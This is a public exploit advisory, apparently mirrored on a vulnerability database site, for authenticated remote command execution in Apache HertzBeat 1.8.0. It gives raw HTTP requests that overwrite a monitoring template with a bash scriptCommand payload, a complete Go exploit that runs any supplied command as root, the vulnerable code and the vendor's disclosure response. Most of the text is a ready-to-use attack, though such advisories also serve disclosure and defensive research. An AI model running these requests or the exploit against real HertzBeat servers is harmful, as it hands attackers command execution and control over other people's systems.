# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2026-03-09
# Exploit Author: Brett Gervasoni
# Vendor Homepage: https://hertzbeat.apache.org/
# Software Link: https://github.com/apache/hertzbeat/releases
# Version: 1.8.0
# Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
# CVE: N/A
================================================================================
METADATA
================================================================================
Severity: CRITICAL
Impact: Arbitrary command execution via monitoring template (script protocol)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: ScriptCollectImpl.collect()
Affected Endpoint: PUT /api/apps/define/yml
Authentication: Required (standard user or admin)
Note: Apache Security does not classify this as a vulnerability; see HertzBeat
security model: https://hertzbeat.apache.org/docs/help/security_model/
================================================================================
VULNERABILITY SUMMARY
================================================================================
HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
parameter in a monitoring template definition.
An authenticated user can overwrite a monitoring template definition via
PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
When the YAML specifies protocol: script, the attacker-controlled scriptCommand
string is passed to ProcessBuilder (bash -c "<command>") without sanitization.
If the overwritten template has active monitoring instances, updateAppCollectJob()
re-dispatches them, triggering execution within seconds. If none exist, the
attacker can create one via POST /api/monitor to trigger immediate execution.
The default Docker deployment runs the process as root (uid=0).
================================================================================
VULNERABLE CODE (REFERENCE)
================================================================================
Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:
public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
ScriptProtocol scriptProtocol = metrics.getScript();
// ...
if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
switch (scriptProtocol.getScriptTool()) {
case BASH -> processBuilder = new ProcessBuilder(
BASH, BASH_C, scriptProtocol.getScriptCommand().trim()); // payload
// ...
}
}
// ...
Process process = processBuilder.start(); // executed
}
YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
gadget strings, not shell command injection:
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
"ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
"GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
"GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
"XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
"InflaterOutputStream", "FileOutputStream"};
================================================================================
PROOF OF CONCEPT — RAW HTTP
================================================================================
Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
standard user "operator" / "hertzbeat" (user role); admin with default
password also works.
--- Step 1: Authenticate ---
POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json
{"type":1,"identifier":"operator","credential":"hertzbeat"}
Response: data.token (JWT) — use as Bearer below.
--- Step 2: Overwrite linux_script template ---
PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json
{"define":"app: linux_script\ncategory: os\nname:\n en-US: Linux Script\n zh-CN: Linux Script\nparams:\n - field: host\n name:\n en-US: Host\n zh-CN: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n en-US: Basic\n zh-CN: Basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n en-US: Result\n zh-CN: Result\n protocol: script\n script:\n scriptTool: bash\n charset: UTF-8\n scriptCommand: id > /tmp/pwned\n parseType: multiRow\n"}
Decoded define (YAML):
app: linux_script
category: os
name:
en-US: Linux Script
zh-CN: Linux Script
params:
- field: host
name:
en-US: Host
zh-CN: Host
type: host
required: true
metrics:
- name: basic
i18n:
en-US: Basic
zh-CN: Basic
priority: 0
fields:
- field: result
type: 1
i18n:
en-US: Result
zh-CN: Result
protocol: script
script:
scriptTool: bash
charset: UTF-8
scriptCommand: id > /tmp/pwned
parseType: multiRow
Expected response:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"msg":null,"data":null}
--- Step 3: Create monitor (if no linux_script monitors exist) ---
POST /api/monitor HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json
{"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}
--- Step 4: Verify (example: Docker) ---
docker exec hertzbeat cat /tmp/pwned
Expected:
uid=0(root) gid=0(root) groups=0(root)
================================================================================
EXPLOIT CODE — script_command_rce.go (Go)
================================================================================
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"os"
"strings"
)
const target = "http://localhost:1157"
type authResponse struct {
Code int `json:"code"`
Data struct {
Token string `json:"token"`
} `json:"data"`
}
type apiResponse struct {
Code int `json:"code"`
Msg string `json:"msg"`
}
func main() {
if len(os.Args) < 2 {
fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
os.Exit(1)
}
cmd := strings.Join(os.Args[1:], " ")
fmt.Println("============================================================")
fmt.Println(" HertzBeat ScriptCollectImpl RCE")
fmt.Println("============================================================")
fmt.Println()
fmt.Println("[*] Authenticating...")
token, err := authenticate()
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
os.Exit(1)
}
fmt.Printf("[+] Got token: %s...\n\n", token[:40])
fmt.Println("[*] Overwriting linux_script template...")
fmt.Printf(" PUT /api/apps/define/yml\n")
fmt.Printf(" scriptCommand: %s\n", cmd)
err = putMaliciousDefine(token, cmd)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
os.Exit(1)
}
fmt.Println("[+] Template overwritten.")
fmt.Println()
fmt.Println("[*] Creating monitor instance to trigger collection...")
fmt.Println(" POST /api/monitor with app: linux_script")
err = createMonitor(token)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
} else {
fmt.Println("[+] Monitor created.")
fmt.Println()
}
fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
fmt.Printf("[+] Command: %s\n\n", cmd)
fmt.Println("[*] Verify with (assuming its running in docker locally):")
fmt.Println(" docker exec hertzbeat <check your payload>")
}
func authenticate() (string, error) {
body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`
resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
if err != nil {
return "", err
}
defer resp.Body.Close()
var result authResponse
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return "", err
}
if result.Code != 0 || result.Data.Token == "" {
return "", fmt.Errorf("unexpected response code %d", result.Code)
}
return result.Data.Token, nil
}
func putMaliciousDefine(token, command string) error {
define := fmt.Sprintf(`app: linux_script
category: os
name:
en-US: Linux Script
zh-CN: Linux Script
params:
- field: host
name:
en-US: Host
zh-CN: Host
type: host
required: true
metrics:
- name: basic
i18n:
en-US: Basic
zh-CN: Basic
priority: 0
fields:
- field: result
type: 1
i18n:
en-US: Result
zh-CN: Result
protocol: script
script:
scriptTool: bash
charset: UTF-8
scriptCommand: "%s && echo result done"
parseType: multiRow
`, command)
payload, _ := json.Marshal(map[string]string{"define": define})
req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
var result apiResponse
if err := json.Unmarshal(respBody, &result); err != nil {
return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
if result.Code != 0 {
return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
}
return nil
}
func createMonitor(token string) error {
suffix := randSuffix()
name := fmt.Sprintf("rce-poc-%s", suffix)
body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)
req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
var result apiResponse
if err := json.Unmarshal(respBody, &result); err != nil {
return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
if result.Code != 0 {
return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
}
return nil
}
func randSuffix() string {
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
b := make([]byte, 8)
for i := range b {
b[i] = chars[rand.Intn(len(chars))]
}
return string(b)
}
================================================================================
NOTES
================================================================================
- A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
not required for the described flow.
- A new custom app name (e.g. app: rce_custom) can be registered with POST
instead of PUT to avoid overwriting an existing definition; then create a
monitor for that app.
================================================================================
DISCLOSURE / VENDOR RESPONSE (SUMMARY)
================================================================================
Apache Security indicated this aligns with the documented security model: only
trusted operators should receive accounts; customization is intentional.
Role-based permission controls are still evolving; see vendor documentation.
Reporting timeline:
- 2026-02-19: Reported to Apache Security
- 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
- 2026-03-04: Apache position communicated (risk accepted per security model)
- 2026-03-09: Public advisoryData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation